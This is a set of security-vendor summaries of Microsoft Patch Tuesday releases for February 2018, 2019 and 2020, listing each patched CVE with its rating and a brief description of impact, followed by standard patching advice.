Windows Kernel Information Disclosure Vulnerability (CVE-2018-0810) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user’s system.
Windows Kernel Elevation Of Privilege Vulnerability (CVE-2018-0820) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0829) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user’s system.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0830) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user’s system.
Windows Kernel Elevation of Privilege Vulnerability (CVE-2018-0831) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Kernel handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-0843) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel fails to properly initialize a memory address. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user’s system.
Cumulative Security Update for Microsoft Windows
StructuredQuery Remote Code Execution Vulnerability (CVE-2018-0825) MS Rating: Critical
A remote code execution vulnerability exists in StructuredQuery when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Windows EOT Font Information Disclosure Vulnerability (CVE-2018-0755) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Windows Embedded OpenType (EOT) font engine parses specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows EOT Font Information Disclosure Vulnerability (CVE-2018-0760) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Windows Embedded OpenType (EOT) font engine parses specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows EOT Font Information Disclosure Vulnerability (CVE-2018-0761) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Windows Embedded OpenType (EOT) font engine parses specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows EOT Font Information Disclosure Vulnerability (CVE-2018-0855) MS Rating: Important
An information disclosure vulnerability exists in the way that the Microsoft Windows Embedded OpenType (EOT) font engine parses specially crafted embedded fonts. An attacker who successfully exploited this vulnerability could potentially read data that was not intended to be disclosed.
Windows Elevation of Privilege Vulnerability (CVE-2018-0809) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows AppContainer Elevation Of Privilege Vulnerability (CVE-2018-0821) MS Rating: Important
A privilege escalation vulnerability exists when AppContainer improperly implements constrained impersonation. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows NTFS Global Reparse Point Elevation of Privilege Vulnerability (CVE-2018-0822) MS Rating: Important
A privilege escalation vulnerability exist when NTFS improperly handles objects. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Storage Services Elevation of Privilege Vulnerability (CVE-2018-0826) MS Rating: Important
A privilege escalation vulnerability exist when Storage Services improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Security Feature Bypass Vulnerability (CVE-2018-0827) MS Rating: Important
A security bypass vulnerability exists in Windows Scripting Host which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows Elevation of Privilege Vulnerability (CVE-2018-0828) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows when the MultiPoint management account password is improperly secured. An attacker who successfully exploited this vulnerability could run arbitrary code with elevated privileges.
Windows Information Disclosure Vulnerability (CVE-2018-0832) MS Rating: Important
An information disclosure vulnerability exists in the Windows kernel that could allow an attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (ASLR) bypass. An attacker who successfully exploited the vulnerability could retrieve the memory address of a kernel object.
Windows Remote Code Execution Vulnerability (CVE-2018-0842) MS Rating: Important
A remote code execution vulnerability exist when Windows improperly handles objects in memory. An attacker who successfully exploited these vulnerabilities could take control of an affected system.
Windows Common Log File System Driver Elevation Of Privilege Vulnerability (CVE-2018-0844) MS Rating: Important
A privilege escalation vulnerability exist when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Common Log File System Driver Elevation Of Privilege Vulnerability (CVE-2018-0846) MS Rating: Important
A privilege escalation vulnerability exist when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Named Pipe File System Elevation of Privilege Vulnerability (CVE-2018-0823) MS Rating: Important
A privilege escalation vulnerability exist when Named Pipe File System improperly handles objects. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
SMBv2/SMBv3 Null Dereference Denial of Service Vulnerability (CVE-2018-0833) MS Rating: Moderate
A denial of service vulnerability exists in implementations of the Microsoft Server Message Block. The vulnerability is due to improper handling of certain requests sent by a malicious SMB server to the client.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – February 2019
This month the vendor has patched 74 vulnerabilities, 20 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the February 2019 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
ChakraCore
Microsoft Office
Microsoft Exchange
Microsoft Windows
Jet Database Engine
Microsoft .NET
Visual Studio
Windows Hyper-V
Access Connectivity Engine
Azure IoT Java SDK
Team Foundation Server
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0590) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0591) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0593) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0605) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Memory Corruption Vulnerability (CVE-2019-0606) MS Rating: Critical
A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0607) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2019-0634) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0640) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0642) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2019-0644) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Memory Corruption Vulnerability (CVE-2019-0645) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0650) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that enables an attacker to execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0651) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0652) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0655) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Memory Corruption Vulnerability (CVE-2019-0610) MS Rating: Important
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0648) MS Rating: Important
An information disclosure vulnerability exists when Chakra improperly discloses the contents of its memory, which could provide an attacker with information to further compromise the user’s computer or data. To exploit the vulnerability, an attacker must know the memory address of where the object was created. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2019-0649) MS Rating: Important
A vulnerability exists in Microsoft Chakra JIT server. An attacker who successfully exploited this vulnerability could gain elevated privileges. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Browser Spoofing Vulnerability (CVE-2019-0654) MS Rating: Important
A spoofing vulnerability exists when Microsoft browsers improperly handles specific redirects. An attacker who successfully exploited this vulnerability could trick a user into believing that the user was on a legitimate website. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Scripting Engine Information Disclosure Vulnerability (CVE-2019-0658) MS Rating: Important
An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Internet Explorer Information Disclosure Vulnerability (CVE-2019-0676) MS Rating: Important
An information disclosure vulnerability exists when Internet Explorer improperly handles objects in memory. An attacker who successfully exploited this vulnerability could test for the presence of files on disk. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Security Bypass Vulnerability (CVE-2019-0641) MS Rating: Moderate
A security bypass vulnerability exists in Microsoft Edge handles whitelisting. Edge depends on a default whitelist of sites where Adobe Flash will load without user interaction. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Microsoft Edge Information Disclosure Vulnerability (CVE-2019-0643) MS Rating: Moderate
An information disclosure vulnerability exists in the way that Microsoft Edge handles cross-origin requests. An attacker who successfully exploited this vulnerability could determine the origin of all webpages in the affected browser. Attackers can exploit this issue by enticing an unsuspecting user to view a specially crafted web page.
Cumulative Security Update for Microsoft Office
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2019-0594) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft SharePoint Remote Code Execution Vulnerability (CVE-2019-0604) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the SharePoint application pool and the SharePoint server farm account.
Microsoft Office Security Bypass Vulnerability (CVE-2019-0540) MS Rating: Important
A security bypass vulnerability exists when Microsoft Office does not validate URLs. An attacker could send a victim a specially crafted file, which could trick the victim into entering credentials.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2019-0668) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Excel Information Disclosure Vulnerability (CVE-2019-0669) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user’s computer or data.
Microsoft SharePoint Spoofing Vulnerability (CVE-2019-0670) MS Rating: Moderate
A spoofing vulnerability exists in Microsoft SharePoint when the application does not properly parse HTTP content. An attacker who successfully exploited this vulnerability could trick a user by redirecting the user to a specially crafted website.
Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0671) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0672) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0673) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0674) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Access Connectivity Engine Remote Code Execution Vulnerability (CVE-2019-0675) MS Rating: Important
A remote code execution vulnerability exists when the Microsoft Office Access Connectivity Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Cumulative Security Update for Microsoft Exchange
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2019-0686) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could attempt to impersonate any other user of the Exchange server.
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2019-0724) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Exchange Server. An attacker who successfully exploited this vulnerability could attempt to impersonate any other user of the Exchange server.
Cumulative Security Update for Microsoft Windows Kernel
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0621) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Win32k Privilege Escalation Vulnerability (CVE-2019-0623) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Information Disclosure Vulnerability (CVE-2019-0628) MS Rating: Important
An information disclosure vulnerability exists when the Win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows Kernel Privilege Escalation Vulnerability (CVE-2019-0656) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2019-0661) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user system.
Cumulative Security Update for Microsoft Windows
GDI+ Remote Code Execution Vulnerability (CVE-2019-0618) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
Windows DHCP Server Remote Code Execution Vulnerability (CVE-2019-0626) MS Rating: Critical
A memory corruption vulnerability exists in the Windows Server DHCP service when an attacker sends specially crafted packets to a DHCP server. An attacker who successfully exploited this vulnerability could run arbitrary code on the DHCP server.
GDI+ Remote Code Execution Vulnerability (CVE-2019-0662) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
HID Information Disclosure Vulnerability (CVE-2019-0600) MS Rating: Important
An information disclosure vulnerability exists when the Human Interface Devices (HID) component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the victim system.
HID Information Disclosure Vulnerability (CVE-2019-0601) MS Rating: Important
An information disclosure vulnerability exists when the Human Interface Devices (HID) component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the victim system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0602) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0615) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0616) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0619) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows Security Bypass Vulnerability (CVE-2019-0627) MS Rating: Important
A security bypass vulnerability exists in Windows which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows SMB Remote Code Execution Vulnerability (CVE-2019-0630) MS Rating: Important
A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 2.0 (SMBv2) server handles certain requests.
Windows Security Bypass Vulnerability (CVE-2019-0631) MS Rating: Important
A security bypass vulnerability exists in Windows which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows Security Bypass Vulnerability (CVE-2019-0632) MS Rating: Important
A security bypass vulnerability exists in Windows which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine.
Windows SMB Remote Code Execution Vulnerability (CVE-2019-0633) MS Rating: Important
A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 2.0 (SMBv2) server handles certain requests.
Windows Information Disclosure Vulnerability (CVE-2019-0636) MS Rating: Important
An information vulnerability exists when Windows improperly discloses file information. Successful exploitation of the vulnerability could allow the attacker to read the contents of files on disk.
Windows Defender Firewall Security Bypass Vulnerability (CVE-2019-0637) MS Rating: Important
A security bypass vulnerability exists when Windows Defender Firewall incorrectly applies firewall profiles to cellular network connections. This vulnerability occurs when Windows is connected to both an Ethernet network and a cellular network.
Windows Storage Service Privilege Escalation Vulnerability (CVE-2019-0659) MS Rating: Important
A privilege escalation vulnerability exists when the Storage Service improperly handles file operations. An attacker who successfully exploited this vulnerability could gain elevated privileges on the victim system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0660) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Windows GDI Information Disclosure Vulnerability (CVE-2019-0664) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user system.
Security Update for Jet Database Engine
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0595) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0596) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0597) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0598) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0599) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Jet Database Engine Remote Code Execution Vulnerability (CVE-2019-0625) MS Rating: Important
A remote code execution vulnerability exists when the Windows Jet Database Engine improperly handles objects in memory. An attacker who successfully exploited this vulnerability could execute arbitrary code on a victim system.
Security Update for Microsoft .NET
.NET Framework Remote Code Execution Vulnerability (CVE-2019-0613) MS Rating: Important
A remote code execution vulnerability exists in .NET Framework and Visual Studio software when the software fails to check the source markup of a file.
.NET Spoofing Vulnerability (CVE-2019-0657) MS Rating: Important
A vulnerability exists in certain .NET Framework APIs and Visual Studio in the way they parse URLs.
Security Update for Visual Studio
Visual Studio Code Remote Code Execution Vulnerability (CVE-2019-0728) MS Rating: Important
A remote code execution vulnerability exists in Visual Studio Code when it process environment variables after opening a project. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Security Update for Team Foundation Server
Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0742) MS Rating: Important
A Cross-site Scripting (CSS) vulnerability exists when Team Foundation Server does not properly sanitize user-provided input.
Team Foundation Server Cross-site Scripting Vulnerability (CVE-2019-0743) MS Rating: Important
A Cross-site Scripting (CSS) vulnerability exists when Team Foundation Server does not properly sanitize user-provided input.
Security Update for Microsoft Windows Hyper-V
Windows Hyper-V Information Disclosure Vulnerability (CVE-2019-0635) MS Rating: Important
An information disclosure vulnerability exists when Windows Hyper-V on a host operating system fails to properly validate input from an authenticated user on a guest operating system. To exploit the vulnerability, an attacker on a guest operating system could run a specially crafted application that could cause the Hyper-V host operating system to disclose memory information.
Security Update for Azure IoT Java SDK
Azure IoT Java SDK Privilege Escalation Vulnerability (CVE-2019-0729) MS Rating: Important
A privilege escalation vulnerability exists in the way Azure IoT Java SDK generates symmetric keys for encryption, allowing an attacker to predict the randomness of the key.
Azure IoT Java SDK Information Disclosure Vulnerability (CVE-2019-0741) MS Rating: Important
An information disclosure vulnerability exists in the way Azure IoT Java SDK logs sensitive information. An attacker can exploit this vulnerability if a user has exposed the logs on the internet and can use this information to compromise the device.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – February 2020
This month the vendor has patched 99 vulnerabilities, 13 of which are rated Critical.
This month the vendor has patched 99 vulnerabilities, 13 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the February 2020 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Edge
ChakraCore
Microsoft Office
Microsoft Windows
Microsoft Windows Kernel
Windows Hyper-V
Microsoft Graphics Component
Microsoft Exchange Server
SQL Server
The following is a breakdown of the issues being addressed this month:
Cumulative Security Updates for Microsoft Browsers
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0673) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0674) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0710) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0711) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0712) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0713) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2020-0767) MS Rating: Critical
A remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Privilege Escalation Vulnerability (CVE-2020-0663) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Edge does not properly enforce cross-domain policies, which could allow an attacker to access information from one domain and inject it into another domain. In a web-based attack scenario, an attacker could host a website that is used to attempt to exploit the vulnerability.
Microsoft Browser Information Disclosure Vulnerability (CVE-2020-0706) MS Rating: Important
An information disclosure vulnerability exists in the way that affected Microsoft browsers handle cross-origin requests. An attacker who successfully exploited this vulnerability could determine the origin of all of the web pages in the affected browser.
Cumulative Security Updates for Microsoft Office
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0693) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office SharePoint XSS Vulnerability (CVE-2020-0694) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office Online Server Spoofing Vulnerability (CVE-2020-0695) MS Rating: Important
A spoofing vulnerability exists when Office Online Server does not validate origin in cross-origin communications correctly. An attacker could exploit the vulnerability by sending a specially crafted request to an affected site.
Microsoft Outlook Security Bypass Vulnerability (CVE-2020-0696) MS Rating: Important
A security bypass vulnerability exists in Microsoft Outlook software when it improperly handles the parsing of URI formats. The security bypass by itself does not allow arbitrary code execution.
Microsoft Office Tampering Vulnerability (CVE-2020-0697) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Office OLicenseHeartbeat task, where an attacker who successfully exploited this vulnerability could run this task as SYSTEM. To exploit the vulnerability, an authenticated attacker would need to place a specially crafted file in a specific location, thereby allowing arbitrary file corruption.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2020-0759) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Cumulative Security Updates for Microsoft Windows
LNK Remote Code Execution Vulnerability (CVE-2020-0729) MS Rating: Critical
A remote code execution vulnerability exists in Microsoft Windows that could allow remote code execution if a . LNK file is processed.
Windows Remote Code Execution Vulnerability (CVE-2020-0662) MS Rating: Critical
A remote code execution vulnerability exists in the way that Windows handles objects in memory. An attacker who successfully exploited the vulnerability could execute arbitrary code with elevated permissions on a target system.
Remote Desktop Client Remote Code Execution Vulnerability (CVE-2020-0681) MS Rating: Critical
A remote code execution vulnerability exists in the Windows Remote Desktop Client when a user connects to a malicious server. An attacker who successfully exploited this vulnerability could execute arbitrary code on the computer of the connecting client.
